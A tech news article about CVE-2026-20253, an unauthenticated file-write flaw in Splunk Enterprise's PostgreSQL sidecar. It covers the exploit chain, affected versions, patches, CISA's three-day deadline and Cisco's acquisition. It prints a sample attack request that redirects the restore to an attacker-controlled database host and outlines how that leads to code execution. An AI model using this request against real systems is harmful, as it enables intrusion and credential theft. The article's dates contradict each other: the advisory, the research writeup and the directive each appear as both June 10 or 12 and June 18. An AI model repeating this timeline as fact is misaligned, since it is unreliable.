Splunk pushed out a security advisory on June 18, 2026, and the story didn’t stay quiet for long. The Splunk vulnerability, tracked as CVE-2026-20253, lets an attacker with zero credentials reach into a backend service inside Splunk Enterprise and start writing files to disk. Eight days later, the advisory changed. Splunk confirmed “limited exploitation” in the wild, and the Cybersecurity and Infrastructure Security Agency added the zero-day to its Known Exploited Vulnerabilities catalog that same day. Federal civilian agencies got a three-day window to patch.
The timing carries its own irony. Splunk Enterprise sits at the center of thousands of security operations centers, the exact tool teams use to detect intrusions like this one. A pre-authentication remote code execution bug in that platform doesn’t just threaten data sitting on disk. It threatens the visibility organizations rely on to know they’ve been breached at all. Here’s what CVE-2026-20253 actually does, how the exploit chain works, and what it means for Cisco, which paid $28 billion for Splunk less than two years before this advisory shipped.
Don't miss new tech stories on Google
Add Tech Insider once in the Google app and our stories appear in your news suggestions.
What Is CVE-2026-20253?
CVE-2026-20253 is a missing-authentication flaw, catalogued under CWE-306, in Splunk Enterprise. Splunk logs it internally as Bug ID VULN-67169 and published it under advisory SVD-2026-0603. The Common Vulnerability Scoring System rates it 9.8 out of 10, the critical tier reserved for bugs that need no privileges, no user interaction, and no special network position to exploit.
The root problem sits in a component most Splunk admins rarely think about: a PostgreSQL “sidecar” service that Splunk Enterprise runs alongside its main indexing engine to handle backup and restore jobs. That sidecar exposes two endpoints, /v1/postgres/recovery/backup and /v1/postgres/recovery/restore, and neither checks who’s asking. Any attacker who can reach the service over the network can trigger file operations without a username, a password, or a session token.
Splunk’s own advisory describes the impact narrowly, as the ability to “create or truncate arbitrary files.” In practice, outside researchers showed within two days of disclosure that this primitive is enough to take over the entire host running the process.
The bug hits Splunk Enterprise 10.2 builds from 10.2.0 through 10.2.3, and 10.0 builds from 10.0.0 through 10.0.6. Splunk Enterprise 9.4 and earlier don’t ship the PostgreSQL sidecar at all, so they’re unaffected, and the 10.4 branch already carries the fix. Splunk credits the discovery to a researcher listed as Alex Hordijk (hordalex) in the advisory’s acknowledgments. One detail matters for anyone running Splunk Enterprise on AWS specifically: the sidecar ships enabled by default on that deployment path, according to the technical writeup from watchTowr Labs. A meaningful share of the affected install base was exposed out of the box, without an administrator changing a single setting.
Inside the Exploit Chain: How a File Write Becomes Full Control
Splunk’s language undersells the danger. The advisory calls this a file creation and truncation issue. watchTowr Labs, the research firm that published a full technical breakdown on June 18, 2026, mapped the real path: a clean route from zero credentials to code execution running as the “splunk” system user.
The chain runs in four steps. First, an attacker sends a request to the unauthenticated recovery endpoint and supplies a crafted PostgreSQL connection string, injecting a hostaddr parameter that redirects Splunk’s restore process toward a database server the attacker controls. Second, that attacker-controlled database responds using PostgreSQL’s lo_export function, a legitimate feature normally used to export large objects to disk, repurposed here to write arbitrary files onto the Splunk host. Third, the attacker uses that file-write primitive to read Splunk’s local .pgpass file, stored at /opt/splunk/var/packages/data/postgres/.pgpass, which discloses credentials for the real local PostgreSQL instance. Fourth, armed with those credentials, the attacker overwrites a legitimate Splunk Python module, ssg_enable_modular_input.py, inside the Secure Gateway app directory, and waits for Splunk to run it.
What the Malicious Request Looks Like
Researchers Piotr Bazydlo and Yordan Ganchev, who authored the watchTowr writeup, published a simplified version of the request pattern that kicks off the chain. It targets the restore endpoint directly, with no authentication header required:
POST /v1/postgres/recovery/restore HTTP/1.1
Host: target-splunk-host:8191
Content-Type: application/json
{
"database": "hostaddr=attacker-controlled-db.example port=5432",
"operation": "restore"
}
From that single unauthenticated POST request, the rest of the chain, credential theft, file overwrite, and code execution, runs without further interaction from a legitimate user. The researchers framed the underlying design flaw bluntly in their writeup: the sidecar never checks who’s connecting, even though “every database has auth” already built in.
Timeline: From Disclosure to CISA’s Exploited Vulnerabilities List
Splunk published its advisory the same week the Cybersecurity and Infrastructure Security Agency rolled out a new, tougher vulnerability directive. The two events collided fast. Eight days after the initial advisory, Splunk confirmed exploitation and CISA added the bug to its Known Exploited Vulnerabilities catalog, starting the clock on federal patch deadlines.
| Date | Event |
|---|---|
| June 10, 2026 | Splunk publishes advisory SVD-2026-0603 for CVE-2026-20253, and CISA separately issues Binding Operational Directive 26-04 |
| June 12, 2026 | watchTowr Labs publishes a full pre-authentication RCE technical writeup |
| June 18, 2026 | Splunk updates its advisory to confirm limited active exploitation, and CISA adds CVE-2026-20253 to the KEV catalog |
| June 21, 2026 | Reported federal civilian remediation deadline under BOD 26-04’s fastest-track window |
Neither Splunk nor CISA has published a confirmed count of internet-exposed, unpatched instances, and no security vendor has released a verified Shodan or Censys tally as of this writing. No named victim organization has come forward publicly either. What’s confirmed is narrower but still serious: Splunk’s own PSIRT team says it observed exploitation before the June 18 update went live, and that’s the bar CISA uses to add a bug to KEV in the first place. The CISA bulletin lists CVE-2026-20253 as the sole addition that day.
Affected Versions and the Patch You Need Now
The Splunk security advisory lays out a fix that’s straightforward once you know which branch you’re running. There’s no partial mitigation baked into a config flag that fully closes the hole. The only complete fix is an upgrade.
| Splunk Enterprise Branch | Vulnerable Versions | Fixed Version |
|---|---|---|
| 10.2.x | 10.2.0 – 10.2.3 | 10.2.4 or later |
| 10.0.x | 10.0.0 – 10.0.6 | 10.0.7 or later |
| 10.4.x | Not affected | Already ships the fixed baseline |
| 9.4.x and earlier | Not affected | Sidecar service not present |
For teams that can’t patch immediately, Splunk’s advisory lists a workaround: disable the PostgreSQL sidecar entirely by adding [postgres] disabled = true to server.conf. That closes the attack surface, but it comes with a real cost. Disabling the sidecar breaks Edge Processor, OpAmp, and SPL2 pipeline functionality, though it leaves core search, indexing, and dashboards untouched. For most organizations, that trade-off buys a few days of breathing room, not a long-term fix. Full details sit in Splunk’s advisory page.
Why CISA Gave Federal Agencies Only Three Days
The three-day window isn’t a one-off. It’s the product of a policy shift CISA rolled out the same week this vulnerability became public. On June 18, 2026, the agency issued Binding Operational Directive 26-04, “Prioritizing Security Updates Based on Risk,” which replaces a flatter, one-size-fits-all patch calendar with a risk-based tiering system.
Under the new directive, the fastest track applies to vulnerabilities that check four boxes at once: they’re exposed to the internet, they’re already being exploited, the exploitation can be automated, and successful exploitation hands an attacker full control of the system. CVE-2026-20253 checks all four. Splunk instances are commonly internet-facing by design, since ingesting logs from distributed infrastructure is the whole point of the product. The bug requires no authentication, so scripting mass exploitation is trivial. And the end state is full remote code execution as a system-level account.
Agencies now have a broader 180-day window, running through early December 2026, to fully adopt the new tiered remediation process across their environments, according to reporting from Cybersecurity Dive. But for individual bugs that hit the top severity tier, like this one, the clock runs in days, not weeks. That’s a meaningful tightening from the 15- and 30-day windows federal agencies have worked under for years, and it signals CISA expects the same urgency from the private sector even where it can’t mandate it directly.
Three More Splunk CVEs Disclosed the Same Week
CVE-2026-20253 didn’t ship alone. Splunk’s June 10 disclosure round included three additional high-severity flaws, all documented in a technical breakdown from Orca Security. None of the three has a public proof-of-concept exploit or a confirmed case of active exploitation as of this writing, but each is serious enough to warrant its own patch cycle.
| CVE | CVSS Score | Flaw Type | Affected Component |
|---|---|---|---|
| CVE-2026-20253 | 9.8 Critical | Unauthenticated file write leading to remote code execution | PostgreSQL sidecar service, Splunk Enterprise |
| CVE-2026-20251 | 8.8 High | Unsafe deserialization via the jsonpickle library, leading to RCE | Splunk Secure Gateway app |
| CVE-2026-20252 | 7.6 High | Server-side request forgery via domain-validation bypass | Dashboard Studio PDF export |
| CVE-2026-20258 | 7.1 High | Stored cross-site scripting in dashboard panels | Splunk Web classic dashboards |
Combined, the four CVEs touch Splunk Enterprise versions 9.3.0 through 10.2.3, Splunk Cloud Platform builds between 10.1.2507 and 10.4.2604, and the Splunk Secure Gateway app versions 3.8 through 3.10. Orca’s analysis notes there’s no available workaround for the critical RCE bug beyond upgrading, while the Secure Gateway deserialization flaw can be partially mitigated by disabling the app if patching has to wait, at the cost of breaking mobile access through Splunk Spacebridge.
Why an Attack on the SIEM Layer Hits Different
A remote code execution bug in a web server or a file-sharing tool is bad. A remote code execution bug in the platform that’s supposed to catch intrusions is a different category of bad. Splunk Enterprise doesn’t just store data. It’s the layer analysts trust to flag anomalies, correlate alerts, and preserve evidence after something goes wrong.
Detection Blind Spots
If an attacker compromises the SIEM host itself, they gain the ability to tamper with the very logs a security team would use to reconstruct the incident. That’s a fundamentally different risk profile than a compromised application server, where the SIEM sitting elsewhere on the network can still see the intrusion happen. When the monitoring tool becomes the target, response teams lose their most reliable source of truth right when they need it most. Security teams running affected Splunk builds should treat any pre-patch activity on the host, not just post-patch alerts, as potentially compromised evidence rather than a clean baseline.
That dynamic is part of why SentinelOne’s vulnerability database entry and Zscaler’s ThreatLabz writeup both frame this less as a routine patch-and-move-on bug and more as a case study in why security tooling itself needs the same scrutiny applied to the systems it monitors.
Market Impact: Cisco’s $28 Billion Splunk Bet Faces a Stress Test
Cisco announced its acquisition of Splunk on September 21, 2023, agreeing to pay $157 per share in an all-cash deal worth approximately $28 billion, Cisco’s largest acquisition in its four-decade history. The deal closed on March 18, 2024, after clearing European antitrust review, according to SecurityWeek’s reporting at the time. Cisco framed the purchase as a bet on pairing its networking footprint with Splunk’s data platform to build out AI-driven security and observability products.
What Changes for Cisco’s Security Portfolio
A critical, actively exploited RCE bug in the core product of Cisco’s biggest-ever acquisition puts fresh scrutiny on how that integration is going. Cisco hasn’t broken out a current, verifiable 2026 customer count or revenue line specific to Splunk in a way that separates it cleanly from the rest of Cisco’s security business, so any claim about the deal’s financial trajectory this year should be treated as unconfirmed rather than repeated as fact. What is measurable is reputational. Splunk built its brand on being the tool serious security teams trust with their most sensitive telemetry. A pre-auth RCE bug, discovered and disclosed through the normal coordinated process rather than caught first by an attacker, is a mixed signal: proof the vulnerability disclosure pipeline works, but also proof the product had a critical hole in a widely deployed default configuration.
For Cisco, the practical fallout is a patching and communications exercise across a large enterprise customer base, layered on top of an integration that was already underway. For customers, it’s a reminder that acquiring a product doesn’t reset its risk profile, and that due diligence on a vendor’s security posture doesn’t stop once the deal closes.
Historical Context: When the Security Tool Becomes the Attack Surface
CVE-2026-20253 fits a pattern security teams have watched play out before, even if the specific mechanics are new. The 2020 SolarWinds Orion compromise showed how a single trusted piece of infrastructure software, once compromised, can cascade into thousands of downstream networks. The 2023 MOVEit Transfer campaign, driven by the Cl0p ransomware group, showed how a single unauthenticated flaw in widely deployed file-transfer software can be automated into a mass-exploitation event within days of disclosure. Citrix Bleed, tracked as CVE-2023-4966, showed the same pattern in remote-access infrastructure just months later.
What ties those incidents to this one isn’t the exploit mechanics, which differ in every case. It’s the target profile: widely deployed enterprise software, sitting in a privileged position on the network, disclosed and patched on a public timeline that attackers can race against. CVE-2026-20253 adds a new wrinkle to that pattern. Instead of a file-transfer tool or a VPN appliance, the software in the crosshairs is the one built specifically to detect this category of attack. That’s a narrower and arguably more consequential version of the same underlying problem: enterprise software trusted with broad access becomes a single point of failure the moment a critical flaw surfaces in it.
Competitive Landscape: Splunk vs the Rest of the SIEM Market
Splunk has long been one of the SIEM category’s dominant platforms, but it isn’t the only option, and this disclosure is likely to renew interest in alternatives. Microsoft Sentinel offers a cloud-native, consumption-priced model tied into the Azure ecosystem. IBM QRadar remains a fixture in large regulated enterprises with long procurement cycles. Elastic Security builds on the open Elastic Stack, giving teams more control over self-hosting decisions. On the open-source side, Wazuh and Graylog have both picked up traction with teams that want to avoid per-gigabyte ingest pricing entirely, running detection and log management on infrastructure they control end to end.
None of that makes a critical CVE in Splunk a referendum on SIEM architecture broadly. Every major platform in this category has shipped critical patches at some point, and a coordinated disclosure with a clear advisory and fix timeline is the system working as intended, not a sign of a worse security program than competitors. But procurement teams evaluating detection and response stacks now have a fresh, concrete data point to weigh alongside the usual cost and feature comparisons, particularly around how quickly a vendor moves from disclosure to a shipped fix and how transparent that vendor is about exploitation status once a bug goes public.
What Security Researchers Found
Four independent security research organizations published analysis of CVE-2026-20253 within roughly a week of Splunk’s original advisory, and their conclusions point the same direction even though each approached it differently. watchTowr Labs focused on proving the exploit chain end to end, publishing the technical writeup that first demonstrated the path from an unauthenticated request to code execution as the “splunk” user. Orca Security’s cloud-focused analysis emphasized how the bug interacts with default AWS deployments and catalogued the three related CVEs disclosed alongside it. Zscaler’s ThreatLabz team published a shorter operational brief aimed at defenders, walking through detection signals and mitigation steps rather than the full exploit mechanics. SentinelOne added the bug to its public vulnerability database with exploitation-status tracking for security teams managing patch prioritization across large fleets.
None of the four organizations has published a named victim or a confirmed exploitation count, and all four explicitly point back to Splunk’s own advisory as the authoritative source for patch guidance rather than offering a competing timeline.
What Security Teams Should Do Right Now
The response here doesn’t require guesswork. Splunk, watchTowr, and Orca all converge on the same short list of actions for any organization running an affected build:
- Identify every Splunk Enterprise instance in the environment and check its version against the 10.2.4, 10.0.7, and 10.4.0 fixed baselines.
- Prioritize internet-facing instances first, especially Splunk Enterprise deployed on AWS, where the PostgreSQL sidecar ships enabled by default.
- If an immediate upgrade isn’t possible, apply the
[postgres] disabled = trueworkaround inserver.conf, and plan around the resulting loss of Edge Processor, OpAmp, and SPL2 pipeline functionality. - Patch the three related CVEs, CVE-2026-20251, CVE-2026-20252, and CVE-2026-20258, in the same maintenance window rather than treating them as lower priority.
- Review authentication logs and file-integrity data on the Splunk host itself for signs of tampering predating the patch, since a compromised SIEM can’t be fully trusted to report on its own compromise.
- Rotate any credentials that may have been exposed through the local PostgreSQL instance if there’s any indication the host was reachable from an untrusted network before patching.
None of these steps are exotic. The hard part is speed, not complexity, and that’s exactly what CISA’s new three-day tier is designed to force.
Predictions: What Comes Next for Splunk and the SIEM Market
A handful of consequences seem likely to play out over the next several months, based on how similar disclosures have unfolded and the policy shift CISA just made.
- More KEV entries will carry three-day deadlines. BOD 26-04 is still in its 180-day rollout window through early December 2026, and CVE-2026-20253 is an early, high-profile test case for the new tiering system. Expect CISA to lean on the fastest track again for the next internet-facing, pre-auth RCE it catalogs.
- Sidecar and embedded-service architectures will get more scrutiny. The specific failure here, a support service bundled into a larger platform without inheriting the platform’s authentication model, is not unique to Splunk. Expect researchers to go looking for the same pattern in competing platforms that bundle databases, message queues, or backup services alongside their core product.
- Cisco will face questions on its next earnings call about Splunk’s security posture. A critical, actively exploited flaw in its largest-ever acquisition is the kind of story that surfaces in analyst Q&A, even without a confirmed financial impact.
- Some enterprise buyers will formally diversify their detection stack. Not as a wholesale replacement of Splunk, which remains deeply embedded in most environments that run it, but as a hedge, with more organizations piloting a second platform, open-source or otherwise, for at least part of their log pipeline.
- Expect a slow trickle of confirmed exploitation details. Splunk’s “limited exploitation” language typically gets more specific over time as incident responders share indicators of compromise, similar to how early MOVEit and Citrix Bleed disclosures gained detail in the weeks after initial patches shipped.
The Bigger Picture: KEV Deadlines Are Getting Shorter Across the Board
Zoom out from Splunk specifically, and CVE-2026-20253 is really a story about how fast the vulnerability response clock is compressing industry-wide, part of a broader pattern running through this year’s cybersecurity threats. CISA’s old KEV framework generally gave federal agencies 15 to 21 days to patch a critical, actively exploited bug. BOD 26-04 collapses that window to three days for flaws that meet its highest-risk criteria, a roughly five-to-sevenfold acceleration for the worst cases.
That shift puts real pressure on patch-management workflows built around weekly or monthly change windows. A three-day deadline doesn’t fit neatly into a standard change-advisory-board cycle, and organizations that can’t move faster than that internally are effectively out of compliance the moment a bug like this lands in KEV. Federal agencies have to adapt first, but the private-sector expectation is following close behind, especially for organizations in regulated industries that use KEV status as a benchmark for their own patch SLAs.
Frequently Asked Questions
What is CVE-2026-20253?
It’s a critical, CVSS 9.8 missing-authentication vulnerability in Splunk Enterprise’s PostgreSQL sidecar service. It lets an unauthenticated, network-reachable attacker create or truncate arbitrary files, a capability researchers at watchTowr Labs demonstrated can be chained into full remote code execution.
Is Splunk CVE-2026-20253 being actively exploited?
Splunk’s PSIRT team confirmed “limited exploitation” in its June 18, 2026 advisory update, and CISA added the bug to its Known Exploited Vulnerabilities catalog the same day. Neither organization has disclosed a specific victim count or named affected organizations.
Which Splunk versions are affected?
Splunk Enterprise 10.2.0 through 10.2.3, and 10.0.0 through 10.0.6. Versions 9.4 and earlier don’t include the vulnerable PostgreSQL sidecar service, and the 10.4 branch already ships with the fix.
How do I patch or mitigate CVE-2026-20253 if I can’t upgrade right away?
Upgrade to 10.2.4, 10.0.7, or 10.4.0 or later as soon as possible. If an immediate upgrade isn’t feasible, Splunk’s advisory documents a workaround: adding [postgres] disabled = true to server.conf to disable the vulnerable sidecar. That breaks Edge Processor, OpAmp, and SPL2 pipeline features but leaves core search and indexing running.
Does CVE-2026-20253 affect Splunk Cloud Platform?
Splunk’s own advisory for CVE-2026-20253 centers on self-managed Splunk Enterprise. Orca Security’s broader analysis of the four CVEs disclosed the same week lists Splunk Cloud Platform builds between 10.1.2507 and 10.4.2604 as affected by the related bugs, so cloud customers should still confirm their build status rather than assume it doesn’t apply to them.
Why did CISA give federal agencies just three days to patch this?
CVE-2026-20253 falls into the fastest-track tier under CISA’s new Binding Operational Directive 26-04, reserved for flaws that are internet-exposed, actively exploited, easy to automate, and capable of handing an attacker full system control. That combination is what triggers the three-day remediation window instead of the longer deadlines used for lower-severity KEV entries.
Who discovered CVE-2026-20253?
Splunk’s advisory credits a researcher listed as Alex Hordijk (hordalex) with the original discovery. watchTowr Labs researchers Piotr Bazydlo and Yordan Ganchev independently published the detailed technical exploit chain on June 12, 2026.
Related Coverage
- Wazuh SIEM Setup With Docker: 14 Steps, 60 Min [2026]
- Graylog SIEM Setup: 13 Steps, 45 Min [2026]
- Microsoft Patches Record 570 CVEs, 2 Zero-Days [2026]
- Windows Netlogon Flaw Beats Zerologon: CVSS 9.8 [2026]
- Cisco SD-WAN: 7 Zero-Days, 2 at CVSS 10 [2026]
- SharePoint RCE Exploited: CVSS 8.8, July 4 Deadline [2026]
- Wiz vs Orca vs Prisma Cloud: $32B Deal, 8 Clouds [2026]


